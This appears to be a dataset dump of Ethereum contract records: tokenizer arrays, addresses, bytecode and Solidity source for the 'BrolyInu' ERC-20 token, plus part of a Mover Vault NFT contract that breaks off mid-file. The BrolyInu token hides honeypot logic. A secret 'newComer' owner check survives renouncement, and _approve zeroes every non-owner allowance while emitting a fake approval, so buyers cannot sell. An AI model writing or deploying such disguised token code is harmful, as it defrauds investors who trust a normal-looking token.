[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,371
0x96a97777c4ec982994583e416facec0e531bc5c6
/* $BROLY -- ERC-20 Token */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract BrolyInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = ' Broly Inu'; string private _symbol = ' BROLY '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122041290535fdbf1d4f0dd06c7f67ad428cf8e1a30fc258732b03187a52c5f1381264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2050, 2683, 2581, 2581, 2581, 2581, 2278, 2549, 8586, 2683, 2620, 24594, 2683, 19961, 2620, 2509, 2063, 23632, 2575, 12172, 2278, 2692, 2063, 22275, 2487, 9818, 2629, 2278, 2575, 1013, 1008, 1002, 22953, 2135, 1011, 1011, 9413, 2278, 1011, 2322, 19204, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,372
0x96aa3bd52181b4a540834c63b32b80fd8c3e815a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /////////////////////////////////////////////////////////////////////////// // __/| Vault NFT // __/ // /| This smart contract is part of Mover // |/ //_/// https://viamover.com // |_/ // // |/ /////////////////////////////////////////////////////////////////////////// /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ 